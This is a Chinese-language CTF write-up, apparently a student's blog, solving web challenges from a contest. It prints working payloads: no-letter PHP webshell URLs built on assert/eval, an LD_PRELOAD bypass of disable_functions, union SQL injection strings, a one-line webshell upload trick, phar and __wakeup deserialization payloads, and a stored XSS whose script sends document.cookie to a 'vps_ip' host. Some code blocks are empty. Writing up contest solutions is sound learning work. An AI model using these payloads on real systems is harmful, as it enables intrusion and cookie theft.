WEB
打比赛前先撸一只猫!: 猫猫陪我打ctf!
开局一只猫,flag全靠捡 -_-
直接F12 查看源码
直接提交cat=dog
1 | http://118.25.14.40:8110/?cat=dog |
你看见过我的菜刀么
确实是白给的shell
根目录下发现flag目录下的flag.txt
BurpSuiiiiiit!!!: 拿起你的burp,开始战斗吧
附件下载下来,解压得到Extender.jar文件
从名字和格式看应该BurpSuit的扩展包,用BP导入
导入失败,并提示我们查看errors页面
flag直接就出来了
性感潇文清,在线算卦:动作快点才能算到好卦。
输入姓名和生日后,返回了一个路径
直接访问试下
回到主页,查看源码
提示我们条件竞争,从源码看我们输入u和p后,flag会写入到
1 | $savepath" . sha1($_GET['u']) |
0.1s后再把flag换成 you are too slow
所以我们先一直访问存在flag的这个文件,然后在提交u和p,在flag生成的一瞬间把它读取
直接上burpsuit
payload设置为空,数量200个。
payload同样为空,数量为1.
2攻击后,3立马攻击
得到flag
Easysql: 最近我做了一个小网站,我把flag放在里面了,不过我没有把登陆密码告诉任何人,所以你们是拿不到flag的!
什么防护都没有
1 | '=' |
直接进后台
RCE me: I don’t think U can system RCE, prove to me
这道题学到了很多!
打开网页看看
GET传参code,code中不能有A-Z,a-z,0-9,这些字符,而且字符限制在40个字符
所以我们要先绕过这个限制,执行命令。
参考p神不含数字和字母的webshell
构造脚本:
1 |
|
构造如下URl
1 | http://114.116.44.23:40001/?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=eval($_GET[a])&a=phpinfo(); |
或者
1 | http://114.116.44.23:40001/?code=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=assert&__=eval($_GET[a])&a=phpinfo(); |
查看某些关键参数
- 如系统信息
- disable_functions
命令执行函数都被禁止了
- allow_url_*
关于这两个参数可以参考这篇文章php伪协议
- sendmail_*
- open_basedir
并没有限制我们目录。如果有可以参考这篇文章绕过
既然不能执行命令那就用var_dump(scandir())来查看文件信息
1 | http://114.116.44.23:40001/?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=var_dump(eval($_GET[a]))&a=var_dump(scandir(%27/tmp/%27)); |
但感觉挺麻烦的,后面队友搞了个这个(躺着真舒服 ),直接蚁剑连(菜刀不行)
1 | http://114.116.44.23:40001/?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=eval($_POST[%27a%27]) |
发现主目录下有有flag和readflag,flag只能root才能查看
把readflag下载下来,反编译了一下
那么思路也就清晰起来了,bypass disable_functions 执行readflag
我们这里利用LD_PRELOAD劫持共享库,从而执行命令
具体原理看看出题人的博客和bypass_disablefunc_via_LD_PRELOAD
首先上传恶意so文件,上面的github项目中有,注意操作系统位数
并且重命名为123.so
然后上传123.php文件
1 | <?php |
然后通过include()包含文件,执行系统命令
1 | http://114.116.44.23:40001/?code=$_=%22`{{{%22^%22?%3C%3E/%22;${$_}[_](${$_}[__]);&_=assert&__=var_dump(eval($_GET[a]))&a=include(%27/tmp/123.php%27);&cmd=./../../../readflag&outpath=/tmp/123.txt&sopath=/tmp/123.so |
李三的代码审计笔记第一页:Talk is easy ,show me the code.
访问题目页面,给了源码
index.php
1 |
|
在具有公网IP的服务器上,放置以下两个文件
req.php
1 |
|
1.txt
1 | 0 |
1.txt要有可写权限
服务端检测系统:emm,自己看
SSRF还没有写过题目,利用复现学习一下
首先有个admin.php
但要求127.0.0.1才能访问
有index.php的源码,
这里利用index.php SSRF访问admin.php
但要绕过“/anything”
这里可以构造url=http://127.0.0.1/admin.php?&method=GET
这样“/anything” 就成了一个参数
显示failed是因为采用GET请求方式,服务端是不会返回Allow头的,而且这里的SSRF没有回显,只有一个显示响应体长度的语句
1 | sprintf("body length of $method%d", $body); |
这句 $method可控,所以传入%s% 覆盖后 %s%%d 双百分号返回一个%,但这时 %d 已经是一个字符串
得到admin.php的源码
1 | if ($_SERVER['REMOTE_ADDR'] == "127.0.0.1") { |
关于HTTP头
1 | http头的格式: |
http头部的各个字段之间用CRLF(\r\n)(%0d%0a)分割
http请求头(响应头)和请求体(响应体)之间用两个CRLF分割
关于Http请求
get请求:
GET / HTTP/1.1
Host: 127.0.0.1
post请求
POST / HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-from-urlencoded
Content-Length: 3
x=1
http头的字段(常见)
Host
用于多个域名映射到同一个ip时,按照Host的内容匹配不同网站内容,每个Http头必须有Host头
当这个目的主机上只有一个网站,那么Host字段内容可以为任意值
Content-Type
表明内容部分的编码格式和媒体类型 post/put等方式必须有(如果有请求体)
请求头中的Content-Type
GET请求:
GET没有请求实体部分,所以请求头中不需要设置Content-Type字段
POST/PUT请求
如果post/put请求有请求体(有传值),那么必须要设置Content-Type字段(否则服务端可能无法处理你的请求)
第一类:raw原始类型,可以上传任意格式的文本,比如text、json、xml、html…(中文不进行编码)
text请求:Content-Type: text/plain
json请求:Content-Type: application/json
html请求:Content-Type: text/html
第二类:application/x-www-from-urlencoded,会将表单内的数据转换拼接成key-value对(对非ascii码进行编码)
Content-Type: application/x-www-from-urlencoded
第三类:multipart/from-data,将表单的数据处理为一条消息,以标签为单元,用分隔符分开。既可以上传键值对,也可以上传文件。
Content-Type: multipart/from-data;boundary=xxx
在请求体中会有一个Content-Disposition字段,用于描述提交的表单的具体信息
响应头中的Content-Type:
用来告诉客户端,服务端返回的真实内容类型是什么。浏览器或客户端会根据这个值来做一些操作。
Content-Length 表示内容部分的长度 post/put等方式必须有(如果有请求体)
在源码中使用的是stream_context_create()函数发起HTTP请求
这里如http协议头等一些信息,作为一个数组传入。所以我们能利用CRLF构造一个新的POST包
这里我们把url改成自己服务器的ip,看看经过处理后的POST是什么样子。
这个POST包最后也加上了一些字符串,所以为了防止iwantflag参数被污染,所以我们传入第二个参数b
而且为了从index.php得到回显,我们依旧要覆盖 %d 所以id=%s%
还有一点,&在URL中是具有分割参数的作用,所以要进行URL编码
最后的payload如下
Lovelysql:上次是我粗心大意,看来不能直接放在网页上了!
熟悉的界面
同样的手法
1 | ‘=’ |
但这个字符串并不是flag,估计在数据库中
利用Payload测试,禁用了 insert,having等,可以利用#
闭合。
可以联合注入,报错注入,盲注。
这里用最简单的联合注入。
先判断字段数
字段数为3
获取回显点
获取数据库名
1 | username=1%27union+select+1,2,group_concat(schema_name)+from+information_schema.schemata%23&password=123 |
先关注geek数据库,查表
1 | username=1%27union+select+1,2,group_concat(table_name)+from+information_schema.tables+where+table_schema%3d'geek'%23&password=123 |
查l0ve1ysq1表的字段
1 | username=1%27union+select+1,2,group_concat(column_name)+from+information_schema.columns+where+table_schema%3d'geek'+and+table_name%3d'l0ve1ysq1'%23&password=123 |
获取数据
1 | username=1%27union+select+1,2,group_concat(id,username,password)+from+geek.l0ve1ysq1+%23&password=123 |
性感黄阿姨,在线聊天:听说她有很多小秘密和表情包哦,当然也有你们最想要的flag!
bp抓包
尝试把guest改成admin
提示我们要绕过这个判断
两个等号,第一时间想到的是php弱类型
利用字符串和数字的比较弱点
md5加密肯定是个字符串,如果第一个字符是字母转化为数字则为0,如果前两个字符是“1w”,那么转化为数字则为1.
所以我们利用name传输数字,爆破md5($flag)前面的数字即可绕过。
在json中,“name”:”0”是字符串,”name”:0 是数字
配置测试器
改成xml形式,Connect-Type改成xml
利用PHP伪协议和base64加密读取文件内容
base64解码得到flag
李三的代码审计笔记第二页
根据题目提示,下载源码
Babysql:成信大的学生真是不得了,这么多黑客,不过这次我做了防御的!
经过测试一些关键字被过滤了,但通过双写可以绕过
1 | username=-1' oorrder bbyy 4-- &password=123 //判断字段 |
神秘的三叶草
查看源码,发现Secret.php
打开Secret.php
直接BP抓包,修改Referer头
提示使用Syclover浏览器
修改UA头
接着提示只能本地读取
修改XFF头
得到flag
Eval evil code: Lamber是个老实人,他会执行你给他的代码。
这里有两个限制
一、提交的恶意代码不能带有参数,二、输入正确的验证码
第二个好解决,直接用md5碰撞脚本
第一个就要利用PHP的丰富的内置函数来构造参数。
接着读取readflag.php
参考skysec的文章
Jiang‘s Secret:我在那放了一个秘密!
打开主页
查看源码
访问Archive_room.php
点击SECRET
尝试BP抓包
访问secr3t.php
简单的代码审计
直接file=flag.php
无法直接读取flag.php文件
利用php伪协议
1 | file=php://filter/read=convert.base64-encode/resource=flag.php |
base64解码
Hardsql
你有特洛伊么:dGhpcyBpcyBub3QgZWFzeQ==
上传正常的图片
Not image!
尝试修改Content-Type
上传成功,但并没有返回文件路径
盲猜一波upload
正确
尝试上传一句话木马
尝试改后缀
phtml可绕过 但不能出现<?
利用 <script language="php">
绕过
上传成功
菜刀 连上
Leixiao’s blog: 你会盗号吗??
这道题是直接根据wp复现的,对XSS没有实战过,所以没写出来。
XSS离不开输入框,所以BP抓包,修改各个参数的值,发现密保问题是可控的。所以就构造一个Script的语句,插入到数据库中,之后在重置密码页面,这个Script语句会插入到页面中。如果管理员访问了这个页面,那么我们就能得到管理员的cookie,从而以管理员身份登录。
先注册一个用户,并将密保问题修改成Script语句 "><script src=//0x12345678/1.js>
1.js
1 | window.location='http://vps_ip/cookie'+document.cookie; |
我们访问dcz123用户的重置密码页面
发现成功跳转了
接下来把
1 | http://148.70.59.198:41258/forget.php?username=dcz123 |
发给report
管理员访问后,就能在访问日志中得到管理员的cookie了
反序列化1.0 : socre10000拿到flag
F12查看源码
1 | class Student |
利用反序列化漏洞,使score的值改成10000获得flag
1 | 1. |
payload:
1 | http://148.70.59.198:42374/?exp=O:7:%22Student%22:1:{s:5:%22score%22;i:10000;} |
又来一只猫: 我家猫名字叫php
推测应该存在备份文件,盲猜 www.zip
下载后解压,index.php中接受select参数并反序列化。
查看class.php
根据 __destruct()
函数 反序列化要使$username=admin,$password=100.
但有个问题要绕过 __wakeup()
,这里可以利用 CVE-2016-7124漏洞,当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行
1 |
|
最终payload
1 | http://118.25.14.40:8109/?select=O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D |
你有初恋吗:你变心了吗
打开题目链接
F12查看源码
明显是hash扩展字节攻击
利用BP抓包
得到Heart的值:6a1ce5f4dc83320710006a786ac82c17
利用hashpump得到lover
将得到的字符串进行url编码
1 | <php |
将Heart的值修改成2399f812e1a15732dcaadef365b71c19
提交lover
后面看了LiM的文章,枯了。
双URL编码绕过,直接POST提交 lover=syclove%2572
得到flag。
思路太局限了。。。
Finalsql
你读懂潇文清的网站了吗 : xxe
都已经提示xxe了
利用php伪协议读取源码
index.php中的代码:
1 |
|
发现包含了config文件
接着读
config.php
1 |
|
但index.php并没有把File类实例化。File类中有上传功能的函数,就猜了下upload.php 。还真有。。。
读取upload.php的源码
1 |
|
并没有 unserialize()
函数,但根据源码,要触发 __wakeup()
函数才能得到flag
这里可以利用phar://
协议,触发反序列
exp.php
1 |
|
将文件上传
利用phar://
协议触发序列化
解码得到flag